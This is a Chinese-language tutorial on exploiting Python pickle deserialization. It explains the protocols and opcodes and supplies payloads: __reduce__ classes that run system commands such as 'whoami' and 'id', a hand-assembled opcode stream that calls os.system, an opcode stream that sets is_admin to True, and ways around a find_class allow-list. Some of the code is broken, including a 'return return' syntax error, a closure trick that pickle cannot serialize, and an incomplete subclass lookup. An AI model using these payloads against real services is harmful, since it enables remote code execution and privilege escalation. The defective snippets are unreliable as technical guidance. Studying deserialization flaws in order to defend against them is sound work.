Pickle是Python内置的序列化/反序列化的模块,它能将任意Python对象(类、函数、集合等)转换为二进制流并还原。有反序列化就会创造植入恶意流的机会
pickle protocol
python的pickle发展至今目前有6种协议(0-5),其中协议0为文本格式(Python 2兼容),协议1–3为历史二进制格式,协议4引入对超大对象和新类型的支持,协议5引入离带缓冲区以加速大对象传输。5种协议的指令集也有所区别。比如 Protocol 4 中加入了 \x93(STACK_GLOBAL) 指令
序列化与反序列化
pickle模块提供了两种基本函数
import pickle
data = {"name": "YoSheep", "role": "people"}
ser = pickle.dumps(data,protocol=0) // 序列化
obj = pickle.loads(ser) // 反序列化
序列化的二进制流以.pkl的方式保存
此外,pickle允许序列化/反序列化我们自定义的方法
__getstate__/__setstate__
__getstate__(self):pickle序列化时会保存对象的_dict_(存储所有属性的字典),而__getstate__ 则用于对字典进行一些操作,最后返回一个state数据(字典)。序列化时pickle就会调用它
__setstate__(self, state):反序列化时调用,接受__getstate__(self)返回的state数据并进行操作,本质是调用b(build)操作码
__reduce__/__reduce_ex__
__reduce__(self):返回一个元组,最少包含两个元素:(可调用对象, 参数元组)。反序列化时,PVM(Pickle虚拟机)会使用 R (REDUCE) 操作码,直接执行可调用对象(*参数元组)
__reduce_ex__(self,protocol):功能相同,但接受一个协议版本参数(0-5),优先级高于 __reduce__
在构造恶意序列化流时,我们可以用__reduce__(self)调用R来执行系统命令
import pickle
import os
class Exp:
def __reduce__(self):
return return (eval, ("__import__('os').system('whoami')",))
payload = pickle.dumps(Exp())
opcode
pickle反序列化的是本质调用python底层的虚拟机PVM执行解析二进制流成汇编语言然后执行,这个汇编语言就是opcode,它由操作码构成。我们可以自己手写opcode然后交给loads执行
常用opcode操作码:
I:实例化一个int对象
F:实例化一个float对象
S:实例化一个字符串对象
V:实例化一个unicode对象
c:<module>\n<name>\n(如cosystem):从指定模块导入全局对象(函数/类),将其推入栈中
(:操作码在栈中压入一个MARK用于标记
t:将最上方的MARK与之上的元素组合成一个元组
R:REDUCE操作,从栈顶弹出一个元组和一个可调用对象,执行可调用对象(*参数元组),将结果压回栈顶
b:build,弹出栈顶元素记为state,再弹出一个元素记为inst,如果inst这个类自身定义了 __setstate__ 方法,PVM 就会直接调用 inst.__setstate__(state),否则inst.__dict__.update(state)直接将栈顶元素覆盖
.:结束符,表示程序结束,返回栈顶结果
栈的概念我就不多说了,上进上出。而opcode的关键就是设法组成元组然后交给R执行
比如
cbuiltins
getattr
# 压入builtins.getattr
(cbuiltins
# 压入->MARK1,再压入builtins.__import__
__import__
(S'os'
# 压入MARK,再压入os字符串
# 现在栈从上到下是os->MARK2->builtins.__import__->MARK1->builtins.getattr
tRS'system'
# 打包(os,),消去MARK2,执行builtins.__import__.os,压入system
# 现在是 system->builtins.__import__.os->MARK1->builtins.getattr
tR(S'echo hacked'
# 打包(builtins.__import__.os,system),执行builtins.getattr(builtins.__import__.os,system)
tR.
# 拿到system后压入MARK3和echo hacked,执行system('echo hacked'),结束命令
还可用于python变量覆盖
c__main__
User
) # 指令 ) (EMPTY_TUPLE):在协议 2+ 中常用于无参数实例化,或者手写底层伪造对象
(S'is_admin'
I01 # 布尔值 True
db. # d (DICT) 闭合字典作为 state,b (BUILD) 强行执行 update 覆盖内部变量
此外,我们还可以利用pickletools模块的pickletools.dis进行反汇编,它会变成伪代码的形式,便于我们分析操作码
import pickle
import pickletools
class student():
def __init__(self, name, age, score):
self.name = name
self.age = age
self.score = score
payload = pickle.dumps(student("uky", 19, 0))
pickletools.dis(payload)
find_class() WAF
find_class(module, name)本质是用于加载模块,Unpickler通过重写find_class(module, name)禁止导入模块,但PVM中并非所有操作码都调用find_class。根据官方文档,find_class()在处理全局对象时被触发(GLOBAL/c、协议4中的STACK_GLOBAL/\x93、协议2及以上中的INST/i、OBJ/o等会调用该方法)。如果攻击者构造不使用这些操作码(如尽量不使用c/i/\x93),就可绕过find_class。例如,可以利用对象自身的属性或特殊方法来间接获得所需函数,无需再触发导入。通过绕过全局导入的操作码序列,可不触发find_class()检查,从而在受限环境中获取eval等函数
比如
def find_class(self, module, name):
# 仅允许加载来自 math 模块的所有内容,以及 builtins 里的特定安全函数
if module == 'math':
return super().find_class(module, name)
if module == 'builtins' and name in self.SAFE_BUILTINS:
return super().find_class(module, name)
raise pickle.UnpicklingError(f"安全警告:拒绝加载 {module}.{name}")
解决方案
import pickle
class Exploit:
def __reduce__(self):
builtins_eval = ().__class__.__base__.__subclasses__()[138] # 假设138是catch_warnings类
...
# 这里要遍历找到builtins模块再找eval
return (builtins_eval, ())
payload = pickle.dumps(Exploit())
利用函数闭包变量,把危险函数存进闭包变量,再把这个函数对象序列化,就能在反序列化时直接调用它
import pickle
def outer():
def inner():
return __builtins__['eval']
return inner
class Exploit:
def __reduce__(self):
# outer 返回 inner,调用 inner() 时从闭包取 eval
return (outer(), ("__import__('os').system('id')",))
payload = pickle.dumps(Exploit())
pickle.loads(payload)
